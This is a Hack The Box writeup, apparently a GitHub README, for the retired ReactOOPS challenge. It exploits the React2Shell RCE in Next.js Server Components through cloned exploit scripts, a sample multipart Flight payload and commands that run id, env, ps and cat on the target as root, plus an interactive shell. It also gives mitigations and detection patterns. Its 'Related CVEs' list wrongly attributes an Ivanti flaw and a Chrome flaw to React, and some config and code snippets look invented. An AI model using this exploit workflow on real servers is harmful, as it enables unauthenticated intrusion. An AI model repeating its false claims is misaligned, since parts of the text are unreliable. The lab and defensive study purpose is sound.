Skip to content

Hack The Box Writeup for Retired Challenge ReactOOPS - Complete solution and educational guide to CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Includes detailed vulnerability analysis, exploitation techniques, and team learning materials.

License

Notifications You must be signed in to change notification settings

TheStingR/ReactOOPS-WriteUp

Repository files navigation

ReactOOPS - HTB Web Challenge Writeup

CVE-2025-55182 CVE-2025-66478 CVSS Score: 10.0 Critical Exploit Status: Proof of Concept Available Challenge Status: Solved Challenge Type: Web Framework: React/Next.js

Author: TheStingR - Team ISP1337Hackers
Challenge: ReactOOPS (Web)
Platform: Hack The Box
Difficulty: Very Easy - RETIRED
Date Solved: December 13, 2025

Table of Contents

  1. Executive Summary
  2. Challenge Description
  3. Vulnerability Analysis
  4. Reconnaissance & Enumeration
  5. Exploitation Walkthrough
  6. Flag Extraction
  7. Technical Deep Dive
  8. Defense & Mitigation
  9. Lessons Learned

Executive Summary

ReactOOPS is a web challenge that exploits CVE-2025-55182 / CVE-2025-66478, a critical unauthenticated Remote Code Execution vulnerability in React Server Components and Next.js App Router.

Key Findings:

  • ✅ Server: Next.js 16.0.6 with React 19 (vulnerable)
  • ✅ Vulnerability: Missing hasOwnProperty check in Flight protocol deserialization
  • ✅ Impact: Unauthenticated RCE with root privileges
  • ✅ Exploitation: Single HTTP POST request required

Challenge Description

Initial Assessment

The challenge presents a polished Next.js application running NexusAI's assistant interface. The application appears to handle user input through React Server Components, but subtle glitches in the reactive layer hint at underlying vulnerabilities.

Technology Stack

  • Framework: Next.js 16.0.6
  • React Version: 19.x
  • Deployment: Docker container (Next.js standalone build)
  • Server Port: 50183

What Makes This Vulnerable?

The application uses:

  1. React Server Components (RSC) - Server-side rendering with client communication
  2. Flight Protocol - Serialization format for RSC data transmission
  3. Vulnerable Dependencies - react-server-dom-webpack without security patches

Vulnerability Analysis

CVE-2025-55182 / CVE-2025-66478 Overview

What is the Flight Protocol?

The Flight protocol is React's proprietary serialization format for transmitting data between server and client in Server Component architectures. It uses references like:

  • $1 - Reference to object at position 1
  • $1:path:to:value - Property path traversal

The Missing Security Check

Vulnerable Code in React's ReactFlightReplyServer.js:

// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
    let chunk = chunks.get(id);
    const value = chunk.value;
    
    // Process references like "$1:path:to:value"
    if (reference.startsWith('$')) {
        const refId = parseInt(reference.slice(1).split(':')[0]);
        const path = reference.slice(1).split(':').slice(1);
        
        let obj = chunks.get(refId).value;
        
        // VULNERABLE LOOP - NO hasOwnProperty CHECK!
        for (let i = 0; i < path.length; i++) {
            obj = obj[path[i]];  // ← Allows prototype chain access
        }
        return obj;
    }
}

The Safe Version (What It Should Be):

for (let i = 0; i < path.length; i++) {
    if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
        obj = obj[path[i]];
    } else {
        throw new Error('Invalid property access');
    }
}

Why This Matters

Without the hasOwnProperty check, an attacker can traverse:

myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype

Exploitation Chain

Step 1: Send reference "$1:__proto__:then"
         │
         ├─ Access myChunk[__proto__]
         └─ Then access [then] on the prototype

Step 2: Create fake Promise-like object
         │
         └─ { then: maliciousFunction }

Step 3: React calls await on this object
         │
         ├─ Invokes the .then() method
         └─ Executes attacker's function

Step 4: Arbitrary Code Execution
         │
         └─ Code runs in server context as root

Why No Authentication Check?

The vulnerability exists before the Next-Action validation:

Request Processing Flow:
├─ Parse multipart form data
├─ Deserialize Flight protocol  ← RCE HAPPENS HERE
│  └─ Process references and objects
│  └─ No hasOwnProperty check!
├─ Extract Next-Action header
├─ Validate action ID          ← This comes AFTER
└─ Execute action handler

By triggering RCE during deserialization, attackers bypass all action-level security checks.


Reconnaissance & Enumeration

Step 1: Initial Connection Test

# Test if service is responding
curl -v http://<IP>:PORT/

Expected: Next.js application serving HTML with RSC enabled

Step 2: Technology Identification

Look for indicators:

  • Response headers containing next- prefixes
  • HTML containing <script type="text/x-component">
  • Presence of .next directory artifacts
  • POST endpoints without obvious authentication

Step 3: Vulnerability Detection

The most reliable indicator is attempting a prototype pollution attack and observing the response:

# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash

Exploitation Walkthrough

Environment Setup

# Navigate to challenge directory
cd /Challenges/ReactOOPS

# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git

# Verify all scripts are executable
chmod +x react2shell/*.sh

Phase 1: Detection (Non-Destructive Proof)

Goal: Confirm the server is vulnerable without causing damage

cd react2shell

# Run the detection probe
./detect.sh http://<IP>:PORT

What It Does:

  1. Creates a multipart POST request with Next-Action: x header
  2. Sends payload: ["$1:a:a"] referencing empty object {}
  3. On vulnerable server: JavaScript tries to access {}.a.a
  4. Missing hasOwnProperty check causes crash
  5. Server returns HTTP 500 with error digest

Expected Output:

[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT

[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern

[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}

[!] This server is running a vulnerable version of React RSC / Next.js

Interpretation:

  • HTTP 500: ✅ Crash detected
  • E{"digest" in response: ✅ React error handling format
  • Conclusion: Server is VULNERABLE

Phase 2: Remote Code Execution (Proof of Concept)

Goal: Verify arbitrary command execution

# Execute the 'id' command on the remote server
./exploit-redirect.sh -q http://<IP>:PORT "id"

What It Does:

  1. Constructs a multipart payload with command payload
  2. Embeds command in the prototype pollution reference
  3. Sends POST request with Next-Action: x
  4. Server deserializes and executes command during processing
  5. Returns command output via HTTP 303 redirect

Expected Output:

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Key Insight: The output shows uid=0(root) - the web server is running as root! This is a security misconfiguration that amplifies the impact.

Phase 3: Information Gathering

Goal: Map the filesystem and locate sensitive files

# Check current working directory
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# Output: /app/.next/standalone

# List application root directory
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"

Directory Structure Discovered:

/app/
├── .next/                    # Next.js build output
├── node_modules/             # Dependencies
├── app/                       # Application source code
├── public/                    # Static assets
├── flag.txt                   # ✅ TARGET FILE (mode 600)
├── package.json
└── tsconfig.json

Critical Finding: Flag file exists at /app/flag.txt with restrictive permissions (600)

Phase 4: Flag Extraction

Goal: Read the flag file

# Read the flag
./exploit-redirect.sh -q http://<IP>:PORT> "cat /app/flag.txt"

Output:

HTB{jus7_REDACTED_2025-55182}

Challenge Completed!


Technical Deep Dive

Payload Structure Breakdown

The exploit constructs a Flight protocol payload. Here's what a command payload looks like:

POST / HTTP/1.1
Host: <IP>>:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x

------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="1"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "value": "{\"cmd\":\"id\"}",
  "_response": {
    "id": "1",
    "chunks": []
  }
}
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="0"

"$@1"
------WebKitFormBoundaryXXXX--

Deserialization Process

1. Parse multipart form data
   → name="1" → JSON object with "then" property
   → name="0" → String "$@1"

2. Process references
   → "$@1" means "reference to chunk 1"
   → Look up chunk[1].value

3. Resolve reference path
   → Reference: "$1:__proto__:then"
   → Split on colons: ["", "__proto__", "then"]
   → Start with chunk[1]
   → Access [__proto__] → traverse to prototype
   → Access [then] → access then method

4. Construct fake Promise
   → Create object with .then() method
   → Method contains command payload

5. Execute Promise .then()
   → React treats as Promise-like
   → Calls the .then() handler
   → CODE EXECUTES AS ROOT

Why Each Exploit Script Differs

Script Mechanism HTTP Code Detection
exploit-redirect.sh Prototype traversal + Promise chain 303 x-action-redirect
exploit-throw.sh Error in try-catch 500 Error in body
exploit-blind.sh Side-channel (file write, DNS) 200 Out-of-band
exploit-reflect.sh Direct reflection in response 200 Command output in body
shell.sh Interactive wrapper Varies REPL interface

We used exploit-redirect.sh because:

  • ✅ Works without valid action ID
  • ✅ Reliable 303 response
  • ✅ Good output visibility
  • ✅ No error page interference

Defense & Mitigation

For Vulnerable Systems

Immediate Actions (Before Patching):

  1. Disable RSC if not needed

    // next.config.js
    module.exports = {
      experimental: {
        rsc: false  // Disable React Server Components
      }
    }
  2. Restrict Next-Action usage

    // middleware.ts
    export function middleware(request) {
      // Reject all POST requests with Next-Action
      if (request.method === 'POST' && 
          request.headers.has('next-action')) {
        return new Response('Forbidden', { status: 403 });
      }
    }
  3. Network Segmentation

    # Only allow trusted sources
    iptables -A INPUT -p tcp --dport 50183 -s TRUSTED_IP -j ACCEPT
    iptables -A INPUT -p tcp --dport 50183 -j DROP

Patch Immediately:

# Update Next.js
npm install next@latest

# Or specific patched version
npm install next@16.0.7

# Verify versions
npm ls next react-server-dom-webpack

For All Systems

Security Hardening:

  1. Run web servers as non-root

    # DON'T do this:
    RUN npm start  # As root
    
    # DO this:
    RUN useradd -u 1000 nextjs
    USER nextjs
    CMD ["npm", "start"]
  2. Input Validation

    // Validate all Flight protocol inputs
    app.post('/api/*', (req, res) => {
      // Check for suspicious patterns
      const body = JSON.stringify(req.body);
      if (body.includes('__proto__') || 
          body.includes('constructor') ||
          body.includes('prototype')) {
        return res.status(400).send('Invalid input');
      }
    });
  3. Rate Limiting

    // Limit POST requests per IP
    app.post('/api/*', rateLimit({
      windowMs: 60 * 1000,
      max: 10
    }));

Detection & Monitoring

WAF Rules:

# Detect prototype pollution attempts
If Request.Method == "POST" AND
   Request.Body Contains "__proto__" OR
   Request.Body Contains ":then" OR
   Request.Body Contains ":constructor"
Then Alert + Block

Log Monitoring:

# Look for suspicious patterns
grep -E '__proto__|constructor|:then' /var/log/nginx/access.log
grep 'HTTP 500.*digest' /var/log/nginx/error.log

Behavioral Detection:

// Monitor for unusual command execution
const childProcess = require('child_process');
const original_spawn = childProcess.spawn;

childProcess.spawn = function(...args) {
    console.log('[SECURITY] Command execution attempted:', args[0]);
    // Implement policy enforcement
    return original_spawn.apply(this, args);
};

Lessons Learned

Security Lessons

  1. Single Missing Check = Critical Vulnerability

    • The hasOwnProperty guard was imported but not used
    • One line of missing validation cascaded into RCE
    • Lesson: Code reviews must verify all guards are actually used
  2. Prototype Chain is Dangerous

    • JavaScript's prototype chain can be exploited for unintended property access
    • Object property access looks innocent: obj[key]
    • Lesson: Always use hasOwnProperty or Object.create(null) for untrusted input
  3. Deserialization Before Validation is Risky

    • Code executed during deserialization, before authentication checks
    • Normal flow: authenticate → validate → process
    • Vulnerable flow: parse → execute code → validate (too late!)
    • Lesson: Never execute code during deserialization of untrusted data
  4. Default Process Privileges Matter

    • Web server running as root amplified impact
    • Compromised server = full system control
    • Lesson: Always run services with minimal required privileges

Exploitation Lessons

  1. Non-Destructive Detection is Valuable

    • detect.sh proves vulnerability without causing damage
    • Allows assessor to validate vulnerability before exploitation
    • Best Practice: Always include detection phase
  2. Systematic Reconnaissance

    • Started with detection
    • Moved to RCE proof
    • Then information gathering
    • Finally flag extraction
    • Best Practice: Don't jump to exploitation; gather intel first
  3. Understanding the Technology

    • Knowledge of Flight protocol helped exploitation
    • Understanding Next.js architecture was key
    • Knowing JavaScript prototype chain was crucial
    • Best Practice: Study the tech stack before exploitation

Timeline

Time Action Result
T+0s Initial connection test Service responding
T+10s Run detect.sh VULNERABLE confirmed
T+30s Execute id command root privileges confirmed
T+1m List /app directory Flag location found
T+1m 30s Read flag file Flag extracted
T+2m Verification Challenge completed

References

Official Documentation

Exploit Resources

Related CVEs

  • CVE-2023-46805: React prototype pollution (similar but different)
  • CVE-2024-4761: Server Component XSS

Appendix: Command Reference

Quick Exploitation

# One-liner exploit
cd /ReactOOPS/react2shell && \
./exploit-redirect.sh -q http://<IP>:PORT>"cat /app/flag.txt"

Interactive Shell

# Launch full interactive shell
./shell.sh http://<IP>:PORT

# Common commands:
id                    # Show user info
pwd                   # Current directory
ls -la                # List files
cat /app/flag.txt     # Read flag
cd /var/log           # Change directory
download flag.txt     # Download file

Information Gathering

# System information
./exploit-redirect.sh -q http://<IP>:PORT "uname -a"

# Environment variables
./exploit-redirect.sh -q http://<IP>:PORT "env"

# Running processes
./exploit-redirect.sh -q http://<IP>:PORT "ps aux"

# Network connections
./exploit-redirect.sh -q http://<IP>:PORT "netstat -tuln"

# Application source
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/package.json"

About

Hack The Box Writeup for Retired Challenge ReactOOPS - Complete solution and educational guide to CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Includes detailed vulnerability analysis, exploitation techniques, and team learning materials.

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages